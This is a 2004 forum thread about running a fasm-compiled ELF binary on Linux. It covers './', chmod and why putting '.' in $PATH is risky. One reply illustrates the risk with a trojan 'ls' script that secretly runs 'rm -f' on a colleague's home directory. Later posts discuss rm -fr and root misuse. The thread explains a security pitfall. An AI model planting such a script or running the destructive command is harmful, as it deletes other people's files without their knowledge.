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maeha



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maeha 14 Feb 2004, 02:36
Hello,

I began Linux and fasm(1.51) recently.
So, I compiled fasm.asm packaged in /fasm/source/Linux/
and assigned execute permission for its destination file.
But when entering the destination file name as a command,
I get:
:command not found
Also /fasm/examples/elfexe$ hello is same.

What do I need anything else to run them?

Regards,
maeha
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gorshing 14 Feb 2004, 02:58
Did you try ./ in front of the executable?

Code:
gorshing [/home/gorshing/devl]$ cat hello.asm

; fasm demonstration of writing simple ELF executable

format ELF executable
entry start

section readable writeable

msg db 'Hello world!',0xA
msg_size = $-msg

section readable executable

start:

        mov     eax,4
        mov     ebx,1
        mov     ecx,msg
        mov     edx,msg_size
        int     0x80

        mov     eax,1
        xor     ebx,ebx
        int     0x80
gorshing [/home/gorshing/devl]$ fasm hello.asm hello
flat assembler  version 1.49
2 passes, 160 bytes.
gorshing [/home/gorshing/devl]$ ./hello
bash: ./hello: Permission denied
gorshing [/home/gorshing/devl]$ chmod u=rwx hello
gorshing [/home/gorshing/devl]$ ./hello
Hello world!
gorshing [/home/gorshing/devl]$    

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maeha



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maeha 16 Feb 2004, 00:51
Hi,gorshing

Thank you very much for your kind reply.
Now I can do that.
I didn't know ./ needed at all, because fasm runs without it.

Regards,
maeha
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gorshing 17 Feb 2004, 13:51
That is because fasm is (evidently) in your path, and your current working directory is not.

You can always add the current working directory to your path. But some ppl see that as a security risk.

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Endre 19 Mar 2004, 10:30
gorshing wrote:
But some ppl see that as a security risk.


It's a sequrity risk. Pretend you have written a script with the name 'ls' (the identical name of the known unix command) as follows:
Code:
#!/bin/sh
COMMON_LS_ALIAS="-axF --color=tty"
/usr/bin/ls $COMMON_LS_ALIAS $*
/usr/bin/rm -f /home/tom/*
    


and have innocently put this little script into your home directory. Assume you have a colleague named Tom who has the local directory in his $PATH and whom you don't like at all. If once he goes into your home directory and gives out an 'ls' command, he deletes all his files.

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gorshing 19 Mar 2004, 22:16
Endre wrote:
If once he goes into your home directory and gives out an 'ls' command, he deletes all his files.


I would think that being able to go into somebody else's directory would be a larger security risk.

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scientica 22 Mar 2004, 15:58
Endre wrote:
Assume you have a colleague named Tom who has the local directory in his $PATH and whom you don't like at all. If once he goes into your home directory and gives out an 'ls' command, he deletes all his files.

if you're not root you can't even enter another uses home dir, iirc the default permissions are: drwx------ (thus only the owner has access, wiht the exception of root).
Still having . in the path is dangerous, not just due to evil collegues, but also du to one self - it's easier to run a script by misstake when not having the ./ to mind.

btw, -f won't remove subdirs iirc. rm -fr will.

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Endre 24 Mar 2004, 11:19
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btw, -f won't remove subdirs iirc. rm -fr will.


Correct. On the other hand it is not sure at all that you have no right to go into the home directory of others. It may be a corporate prescription issue. Or if it is not about home directories you can be sure that there are places (e.g.: /tmp) which readable and writable by everybody. Such directories are generally called "pool" to that everybody every right has (for instance to exchange big files). That is also a great story if root has the . on his $PATH. For him it is easy to go into your home to change his own password to that you want to Smile. However in this latter case the directory permissions were set to drwx---- the root has changed his password deleted Tom's home and given suid to you Smile. And we can continue further on...

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